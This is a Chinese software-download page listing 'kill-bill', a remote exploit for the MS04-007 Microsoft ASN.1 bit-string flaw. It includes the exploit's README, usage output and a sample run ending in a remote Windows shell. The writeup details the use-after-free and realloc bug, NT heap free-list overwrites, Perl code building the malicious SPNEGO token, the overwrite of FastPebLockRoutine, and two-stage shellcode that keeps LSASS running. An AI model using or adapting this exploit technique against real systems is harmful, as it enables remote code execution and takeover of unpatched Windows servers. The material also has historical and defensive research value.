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软件名称:  kill-bill.tar.gz
文件类型:  
界面语言:  简体中文
软件类型:  国产软件
运行环境:  WinNT/2K/Xp
授权方式:  共享软件
软件大小:  13K
软件等级:  ★★★★☆
发布时间:  2005-05-13
官方网址: Microsoft ASN.1 remote exploit 作者:Solar
演示网址:
软件说明:  
I. Introduction

This code exploits a previously undisclosed vulnerability in the bit string
decoding code in the Microsoft ASN.1 library. This vulnerability is not related
to the bit string vulnerability described in eEye advisory AD20040210-2. Both
vulnerabilities were fixed in the MS04-007 patch.

II. Screenshots

$ ./kill-bill.pl
. kill-bill : Microsoft ASN.1 remote exploit for CAN-2003-0818 (MS04-007)
  by Solar Eclipse <solareclipse@phreedom.org>

Usage: kill-bill -p <port> -s <service> host

Services:
   iis           IIS HTTP server (port 80)
   iis-ssl       IIS HTTP server with SSL (port 443)
   exchange      Microsoft Exchange SMTP server (port 25)
   smb-nbt       SMB over NetBIOS (port 139)
   smb           SMB (port 445)

If a service is running on its default port you don't have to
specify both the service and the port.

Examples: kill-bill -s iis 192.168.0.1
          kill-bill -p 80  192.168.0.1
          kill-bill -p 1234 -s smb 192.168.0.1

$ ./kill-bill.pl -s smb 192.168.0.1
. kill-bill : Microsoft ASN.1 remote exploit for CAN-2003-0818 (MS04-007)
  by Solar Eclipse <solareclipse@phreedom.org>

. Loading shellcode
. Generating SPNEGO token
  SPNEGO token is 4222 bytes long.
. Exploiting SMB server at 192.168.0.1:445
  Sending Negotiate Protocol Request
  Sending Session Setup AndX request (4287) bytes
. Attempting to connect to shell on port 8721

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>


III. Bit string decoding in MSASN1.DLL

The bit string heap corruption vulnerability in the Microsoft ASN.1 library was
reported by eEye on February 10, 2004. This vulnerability occurs during the
processing of bit string with length 1 and 7 unused bits. For more details
refer to eEye advisory AD20040210-2.

Bit strings are decoded by BERDecBitString() in MSASN1.DLL. This function
allocates a new buffer, copies the bit string into it and returns a pointer to
the data and its length in bits. Constructed bit strings (tag 0x23) are handled
by calling BERDecBitString() recursively on each element and concatenating the
results. The pseudocode of BERDecBitString() is given bellow:

struct BITBUF
{
    int length_in_bits;
    char* ptr;
}

void BERDecBitString(struct DECD *decd, struct BITBUF *bitbuf) {

    /* If the element is empty, return a NULL pointer in bitbuf->ptr
       and set bitbuf->length_in_bits to 0 */
    
    if (ELEMENT_LENGTH = 0)
        bitbuf->ptr = NULL;
        bitbuf->length_in_bits = 0;
        return 1;
    }
    
    if (!ELEMENT_CONSTRUCTED) {

        /* If the element is not constructed (tag 0x03), allocate a new buffer,
           copy the bit string into it and return it in bitbuf->ptr */

        bitbuf->ptr = alloc(ELEMENT_LENGTH);
        bitbuf->length_in_bits = ELEMENT_LENGTH * 8;
        memcpy(bitbuf->ptr, decd->data, ELEMENT_LENGTH);
    }
    else {

        /* If the element is constructed (tag 0x23), call BERDecConstructed to
           allocate 76 bytes for a new DECD object and initialize it with a
           pointer to the beginning of the constructed bit string. */

        decd2 = BERDecConstructed(decd->data);
        bitbuf->length_in_bits = 0;

        /* Notice that bitbuf->ptr is not initialized to NULL. This is very
           important. */
        
        while (MORE_DATA(decd2)) {
            BITBUF bitbuf2;

            /* Decode each of the bit strings in the constructed element */

            BERDecBitString(decd2, &bitbuf2);
            if (bitbuf2.length == 0)
               continue;

            /* Reallocate the buffer and append each bit string to it */

            bitbuf->ptr = realloc(bitbuf->ptr, bitbuf->length + bitbuf2.length);
            memcpy(bitbuf->ptr+bitbuf->length, bitbuf2.ptr, bitbuf2.length);

            free(bitbuf2.ptr);
        }
    }
}

Let's look at an example bit string:

"\x23\x08"                      # constructed bit string, length=8
    "\x03\x03\x00"              # bit string, length=3, unused bits=0
        "AA"
    "\x03\x02\x00"              # bit string, length=2, unused bits=0
        "B"

For clarity we will use a representation similar to the Perl code used to build
bit strings in our exploit:

constr(
    bits("AA"),
    bits("B")
)

When this constructed bit string BERDecBitString() will be called twice to
decode the "AA" and "B" bit strings. Each time the size of the B buffer will be
increased by calling realloc and the new bit string will be appended to it.


IV. The realloc() vulnerability

There is a problem in the MSASN1.DLL which is much easier to exploit than the
eEye vulnerability. The BERDecBitString function does not properly handle
constructed bit strings which contain constructed bit strings.

The following example illustrates the problem:

constr(
    bits("AAAAAAAA"),
    constr(
        bits("BBBBBBBB")
    )
)

When BERDecBitString is called on this bit string, the bitbuf->ptr pointer is
initially NULL. Since this is a constructed element, BERDecBitString is called
again to decode the "AAAAAAAA" bit string. It allocates a new buffer of size 8
and copies "AAAAAAAA" into it. The new buffer is returned in bitbuf2->ptr. We
call realloc(bitbuf->ptr, 8) to allocate space for the 8 bytes of data. Since
bitbuf->ptr is NULL, this call is equivalent to alloc(8).  We copy the data
from bitbuf2->ptr to bitbuf->ptr and free bitbuf2->ptr.

Now bitbuf->ptr is a pointer to a 8 byte buffer containing "AAAAAAAA".  The
original buffer has been freed and bitbuf2->ptr points to the freed memory.

We go back to the beginning of the while loop and call BERDecBitString to
decode the next element, which is the second constructed bit string. Before it
starts decoding it, the function initializes bitbuf->length_in_bits to 0, but
bitbuf->ptr still contains the value passed by the caller, a pointer to freed
memory. If bitbuf->ptr were initialized to NULL, as it is in the version of
MSASN1.DLL included in the MS04-007 hotfix, the vulnerability would not exist.

The first element of the constructed bit string is the "BBBBBBBB" bit string,
which is decoded by calling BERDecBitString. It allocates 8 bytes, copies
"BBBBBBBB" into the 8 byte buffer and returns a pointer to it as bitbuf2->ptr.
Then we calculate the new size of the bitbuf->ptr buffer and call
realloc(bitbuf->ptr, 8).

At this point bitbuf->ptr still points to the freed memory chunk which used to
contain "AAAAAAAA". What happens when we pass a pointer to a free chunk to the
NtReallocateHeap() function? It should return NULL to indicate an error, but
due to a design flaw it returns its argument. Now the program believes that it
has allocated a new buffer of size 8, but in fact it is about to overwrite the
first 8 bytes of a freed memory chunk with the "BBBBBBBB" bit string.


V. NT heap overview

The Windows NT heap allocator is similar to the Linux malloc implementation.
All available memory is split into chunks which can be either free or in use.
Each chunk has a 8 byte header, containing the size of the current chunk, the
size of the previous chunk and flags. The user data starts at chunk+8.

When a chunk is freed, it is coalesced with the previous and next chunks if
they are also free. Then the chunk is inserted into a doubly linked list of
free chunks. There are 127 such lists, for chunks of size 8, 16, 24, 32,
up to 1016. These are called dedicated lists. Chunks larger than 1024 bytes
are stored in a non-dedicated list, sorted in ascending order by their size.

When an application tries to allocate some amount of memory, the dedicated
list for the exact size is searched first. If it is empty, the list for the
next chunk size is searched and so on, until we find a free chunk or we go
through all dedicated lists without finding one. In this case we have to
search the non-dedicated list. The heap allocator starts at the head of the
list and follows the forward pointer until it finds a big enough chunk. Since
the non-dedicated list is sorted by chunk size, we are guaranteed to find the
smallest chunk satisfying our request size. If there are no free chunks
available, we have to request more memory from the kernel.

The free chunk we have found is taken off the free list and marked "in use".
A pointer to the user data in the chunk is returned to the application.

It is important to note than the forward and backward pointers that link the
chunks in a free list are stored in the first 8 bytes of the user data of a
chunk. This means that if we can write 8 bytes to a buffer that has already
been freed, we will overwrite the linked list pointers. Once this is done,
the operations of adding a chunk to the free list and removing one from the
list can be used to write to an arbitrary location in memory.


VI. Constructing the exploit

There are many attack vectors for this vulnerability, but to develop this
exploit we will use the Negotiate protocol for HTTP authentication, described
in http://msdn.microsoft.com/library/en-us/dnsecure/html/http-sso-2.asp

We will build a SPNEGO token containing a specially crafted constructed bit
string, encode it in Base64 and send it as a part of a HTTP GET request. The
default IIS configuration allows Windows authentication and our SPNEGO token
will be passed to MSASN1.DLL for decoding.

$bitstring =
    constr(
        bits("a"x1040),
        "\x03\x00",
        constr(
            bits("B"x1033),
            constr(
                bits($fw, $bk)
            ),
            constr(
                bits("C"x1040),
                constr(
                    bits("\xeb\06\x90\x90\x90\x90\x90\x90"),
                    bits("D"x1040),
                )
            )
        )
    );

$spnego =
    "\x60" . asn1(                      # Application Constructed Object
        "\x06\x06\x2b\x06\x01\x05\x05\x02" .    # SPNEGO OID
        "\xa0" . asn1(                  # NegTokenInit (0xa0)
            "\x30" . asn1(              # Constructed Sequence
                "\xA1" . asn1(          # ContextFlags (0xa1)
                    $bitstring
                )
            )
        )
    );

$request =
    "GET / HTTP/1.1\r\n" .
    "Authorization: Negotiate " . encode_base64($spnego, "") . "\r\n" .
    "\r\n";

The bit string used in the exploit is complicated due to the fact that we need
the ASN.1 decoder function to perform a specific sequence of memory allocations
in order to corrupt the heap but not crash the application.

This exploit is different from most Windows heap exploit because we can control
the memory allocation pattern of the decoder by supplying it with bit strings
of different length. This allows us to do multiple arbitrary 4 byte overwrites
and exploit the vulnerability with a high degree of reliability.

The desired sequence of memory operations is given bellow:

free(B)
memcpy(B, "AAAABBBB", 8);
alloc(size of B)
memcpy(B, "CCCCDDDD", 8)
free(B)
alloc(size of B)

After we overwrite the FW and BK pointers of a freed block, we allocate a block
of the same size. The NtHeapAllocate() function walks the linked list of free
blocks and reaches the block with the overwritten pointers. Since it satisfies
the request size it is removed from the linked list, marked as in-use and
returned to the application. If the overwritten FW and BK pointers point to
writable memory the unlink operation will succeed, but the block will still be
on the free list.

When the block is freed, the NtFreeHeap() function walks the linked list
of free blocks until it finds a block of equal or greater size. Then the freed
block is inserted into the linked list in front of that block. In our case the
block we're freeing will still be on the free list, so it will be the block we
find.

When NtFreeHeap() inserts a block into the free list, it manipulates three
blocks, labeled A, B and C. Block B is to be inserted between A and C. The
code to do this is given bellow:

    B->fw = C
    B->bk = C->bk
    C->bk->fw = B
    C->bk = B

In our case blocks B and C are the same, so the code is equivalent to

    B->fw = B
    B->bk = B->bk
    B->bk->fw = B
    B->bk = B

Assuming the address of B is in ebx, the executed instructions will have the
same effect as

    mov [ebx], ebx
    mov eax, [ebx+4]
    mov [eax], ebx
    mov [ebx+4], ebx

This code writes the address of the block we are freeing into the location
specified by the value at block+4. The ability to write the address of our
block to an arbitrary address in memory makes it very easy to write a reliable
exploit.

In our exploit we overwrite the FastPebLockRoutine pointer at PEB+0x20. If we
allow the program to continue its execution, our shellcode buffer may be freed
or overwritten before the program calls the FastPebLockRoutine. That's why we
make the final allocation request for a block of the same size as our shellcode
block. During the search for a suitable free block, NtAllocateHeap() finds the
shellcode block (which is still on the free list) and attempts to unlink it. If
we make sure that the first two dwords in the shellcode point to invalid memory
space (such as 0x90909090), an exception will occur.

The exception is handled by an exception handler in LSASRV.DLL, which writes
the following to the EventLog:

"The security package Negotiate generated an exception. The package is now
disabled."

One of the functions involved in writing to the event log locks the PEB by
calling the FastPebLockRoutine, which now points to our shellcode.

After the Negotiate protocol is disabled the system keep running, but
interactive logins fail.


VII. Shellcode

This vulnerability presents specific requirements for our shellcode which make
it impossible to use a generic payload. During the execution of the exception
handler the LSASS.EXE process is blocked and unable to serve any authentication
requests. If our shellcode executes a process or uses a system function which
sends a request to Local Security Authority, a deadlock will occur. If
LSASS.EXE is killed the system will reboot. It is very important that the
exception handler in LSASS is allowed to continue its execution.

To accomplish this our shellcode is split in two stages. Stage 0 restores the
FastPebLockRoutine pointer and repairs the heap. The stage 1 shellcode is then
executed in a new thread. In the parent thread the stage 0 shellcode jumps to
RtlEnterCriticalSection and the execution of the exception handler continues
without any trace of being exploited.

There are almost no restrictions on what the stage 1 shellcode can do, as long
as it does not crash the process it is running in. After the shellcode
completion it should terminate its thread by calling ExitThread or simply
execute a return instruction.


VII. Notes

The exploit has been tested and is known to work on Windows 2000 SP2, SP3, SP4
and Windows XP SP0 and SP1.

On Windows 2000 SP0 and SP1 the FastPebLockRoutine pointer is overwritten, but
it is never called by LSASS.EXE. An alternative exploitation method, such as
overwriting the unhandled exception handler has to be used.

TODO:

* alternative exploitation method for Win2k SP0, SP1 and Win2003
* SSL support
* support for Microsoft Exchange
* does Exchange support SPNEGO over POP3 and IMAP ?
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